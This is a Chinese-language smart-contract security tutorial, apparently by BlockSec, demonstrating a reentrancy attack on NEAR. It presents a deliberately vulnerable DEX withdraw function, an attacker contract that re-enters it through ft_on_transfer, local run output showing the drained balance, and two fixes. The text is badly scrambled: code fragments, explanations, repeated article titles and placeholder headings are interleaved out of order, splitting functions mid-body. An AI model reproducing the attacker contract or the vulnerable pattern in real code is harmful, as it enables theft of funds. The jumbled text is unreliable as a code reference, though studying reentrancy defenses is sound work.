
相關文章:
Rust智能合約養成日記(1)合約狀態數據定義與方法實現https://github.com/blocksecteam/near_demo
Rust智能合約養成日記(2)編寫Rust智能合約單元測試
Rust智能合約養成日記(2)編寫Rust智能合約單元測試
Rust智能合約養成日記(3)Rust智能合約部署,函數調用及Explorer的使用
Rust智能合約養成日記(3)Rust智能合約部署,函數調用及Explorer的使用
Rust智能合約養成日記(4)Rust 智能合約整數溢出
Rust智能合約養成日記(1)合約狀態數據定義與方法實現
二級標題
Rust智能合約養成日記(2)編寫Rust智能合約單元測試
圖片
Rust智能合約養成日記(2)編寫Rust智能合約單元測試
Rust智能合約養成日記(3)Rust智能合約部署,函數調用及Explorer的使用
Rust智能合約養成日記(4)Rust 智能合約整數溢出
二級標題
Rust智能合約養成日記(1)合約狀態數據定義與方法實現
二級標題
Rust智能合約養成日記(2)編寫Rust智能合約單元測試
圖片
Rust智能合約養成日記(2)編寫Rust智能合約單元測試
#[near_bindgen]
#[derive(BorshDeserialize, BorshSerialize)]
pub struct VictimContract {
attacker_balance: u128,
other_balance: u128,
}
impl Default for VictimContract {
fn default() -> Self {
Self {
attacker_balance: 100,
other_balance:100
}
}
}
Rust智能合約養成日記(3)Rust智能合約部署,函數調用及Explorer的使用
Rust智能合約養成日記(4)Rust 智能合約整數溢出
#[near_bindgen]
#[derive(BorshDeserialize, BorshSerialize)]
pub struct FungibleToken {
attacker_balance: u128,
victim_balance: u128
}
impl Default for FungibleToken {
fn default() -> Self {
Self {
attacker_balance: 0,
victim_balance: 200
}
}
二級標題
二級標題
這一期中我們將向大家展示Rust合約中重入攻擊,並提供給開發者相應的建議。本文中的相關代碼,已上傳至BlockSec的Github上,讀者可以自行下載:
impl MaliciousContract {
pub fn malicious_call(&mut self, amount:u128){
ext_victim::withdraw(
amount.into(),
&VICTIM,
0,
env::prepaid_gas() - GAS_FOR_SINGLE_CALL
);
}
...
}
二級標題
impl VictimContract {圖片
pub fn withdraw(&mut self,amount: u128) -> Promise{
assert!(self.attacker_balance>= amount);
1. 重入攻擊原理
ext_ft_token::ft_transfer_call(
amount.into(),
&FT_TOKEN,
0,
env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2
)
.then(ext_self::ft_resolve_transfer(
amount.into(),
&env::current_account_id(),
0,
GAS_FOR_SINGLE_CALL,
))
}
...
}
我們用現實生活中的簡單例子來理解重入攻擊:即假設某用戶在銀行中存有100元現金,當用戶想要從銀行中取錢時,他將首先告訴櫃員-A:“我想要取60元”。櫃員-A此時將查詢用戶的餘額為100元,由於該餘額大於用戶想要取出的數額,所以櫃員-A首先將60元現金交給了該位用戶。但是當櫃員-A還沒有來得及將用戶的餘額更新為40元的時,用戶跑去隔壁告訴另一位櫃員-B:“我想要取60元”,並隱瞞了剛才已經向櫃員-A取錢的事實。由於用戶的餘額還沒有被櫃員-A更新,櫃員-B檢查用戶的餘額仍舊為100元,因此櫃員-B將毫不猶豫地繼續將60元交給用戶。最終用戶實際已經獲得了120元現金,大於之前存在銀行中的100元現金。
為什麼會發生這樣的事情呢?究其原因還是因為櫃員-A沒有事先將用戶的60元從該用戶的賬戶中扣除。若櫃員-A能事先扣除金額。用戶再詢問櫃員-B取錢時,櫃員-B就會發現用戶的餘額已更新,無法取出比餘額(40元)更多的現金了。
#[near_bindgen]二級標題
#[near_bindgen]NEP141為NEAR公鏈上的Fungible Token (以下均用Token簡稱)標準。大部分NEAR上的Token都遵循NEP141標準。
當某一用戶想要從某一個Pool中,如去中心化交易所(DEX), 充值(deposite)或者提現(withdraw)一定數額的Token時,用戶便可以調用相應的合約接口完成具體的操作。
DEX項目合約在執行所對應的接口函數時,將調用Token合約中的ft_transfer/ft_transfer_call函數,實現正式的轉賬操作。這兩個函數的區別如下:
當調用Token合約中的ft_transfer函數時,轉賬的接收者(receiver_id)為EOA賬戶。
impl FungibleToken {
pub fn ft_transfer_call(&mut self,amount: u128)-> PromiseOrValue
下文第2小節將首先介紹相關的背景知識,第3小節將在NEAR LocalNet中演示說明一個具體的重入攻擊例子,以體現代碼重入對於部署在NEAR鏈上的智能合約的危害性。本文最後將具體介紹針對重入攻擊的防護技術,幫助大家更好的編寫Rust智能合約。
self.attacker_balance += amount;
self.victim_balance -= amount;
二級標題
ext_fungible_token_receiver::ft_on_transfer(
amount.into(),
&ATTACKER,
0,
env::prepaid_gas() - GAS_FOR_SINGLE_CALL
).into()
}
...
}
impl MaliciousContract {
pub fn ft_on_transfer(&mut self, amount: u128){
2. 背景知識:NEP141的轉賬操作
if self.reentered == false{
ext_victim::withdraw(
amount.into(),
&VICTIM,
0,
env::prepaid_gas() - GAS_FOR_SINGLE_CALL
);
}
self.reentered = true;
}
...
}
當調用Token合約中的ft_transfer_call函數時,轉賬的接收者(receiver_id)為合約賬戶。
$ node Triple_Contracts_Reentrancy.js
Finish init NEAR
Finish deploy contracts and create test accounts
Victim::attacker_balance:3.402823669209385e+38
FT_Token::attacker_balance:120
FT_Token::victim_balance:80
二級標題
3. 代碼重入的具體實例
假設存在如下3個智能合約:
合約A: Attacker合約;
#[near_bindgen]
impl VictimContract {
pub fn withdraw(&mut self,amount: u128) -> Promise{
assert!(self.attacker_balance>= amount);
self.attacker_balance -= amount;
攻擊者將利用該合約實施後續的攻擊交易。
ext_ft_token::ft_transfer_call(
amount.into(),
&FT_TOKEN,
0,
env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2
)
.then(ext_self::ft_resolve_transfer(
amount.into(),
&env::current_account_id(),
0,
GAS_FOR_SINGLE_CALL,
))
} #[private]
pub fn ft_resolve_transfer(&mut self, amount: u128) {
match env::promise_result(0) {
PromiseResult::NotReady => unreachable!(),
PromiseResult::Successful(_) => {
}
PromiseResult::Failed => {
合約B: Victim合約。
為一個DEX合約。初始化的時候,Attacker賬戶擁有餘額100,DEX的其他用戶擁有餘額100。即此時DEX合約總共持有了200個Token。
self.attacker_balance += amount;
}
};
}
合約C: Token合約(NEP141)。
$ node Triple_Contracts_Reentrancy.js
Finish init NEAR
Finish deploy contracts and create test accounts
Receipt: 873C5WqMyaXBFM3dmoR9t1sSo4g5PugUF8ddvmBS6g3X
Failure [attacker.test.near]: Error: {"index":0,"kind":{"ExecutionError":"Smart contract panicked: panicked at 'assertion failed: self.attacker_balance >= amount', src/lib.rs:45:9"}}
Victim::attacker_balance:40
FT_Token::attacker_balance:60
FT_Token::victim_balance:140
下面描述該代碼重入攻擊的具體流程:
二級標題
Attacker合約通過malicious_call函數,調用Victim合約(合約B)中的withdraw函數;
例如此時Attacker給withdraw函數傳入amount參數的值為60,希望從合約B中提現60;
在合約B中,withdraw函數開頭處的assert!(self.attacker_balance>= amount);`將檢查Attacker賬戶是否有足夠的餘額,此時餘額100>60,將通過斷言,執行withdraw中後續的步驟。
// Call Attacker的收幣函數
pub fn withdraw(&mut self,amount: u128) -> Promise{
assert!(self.attacker_balance>= amount);
合約B中的withdraw函數接著將調用合約C(FT_Token合約)中的ft_transfer_call函數;
ext_ft_token::ft_transfer_call(
amount.into(),
&FT_TOKEN,
0,
- env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2
+ GAS_FOR_SINGLE_CALL * 3
)
.then(ext_self::ft_resolve_transfer(
amount.into(),
&env::current_account_id(),
0,
GAS_FOR_SINGLE_CALL,
))
}
通過上述代碼中的ext_ft_token::ft_transfer_call實現跨合約調用。
$ node Triple_Contracts_Reentrancy.js
Finish init NEAR
Finish deploy contracts and create test accounts
Receipt: 5xsywUr4SePqfuotLXMragAC8P6wJuKGBuy5CTJSxRMX
Failure [attacker.test.near]: Error: {"index":0,"kind":{"ExecutionError":"Exceeded the prepaid gas."}}
Victim::attacker_balance:40
FT_Token::attacker_balance:60
FT_Token::victim_balance:140
// Call Attacker的收幣函數
二級標題
由於合約A被Attacker所控制,並且代碼存在惡意的行為。所以該“惡意”的ft_on_transfer函數可以再次通過執行ext_victim::withdraw,調用合約B中的withdraw函數,以此達到重入的效果。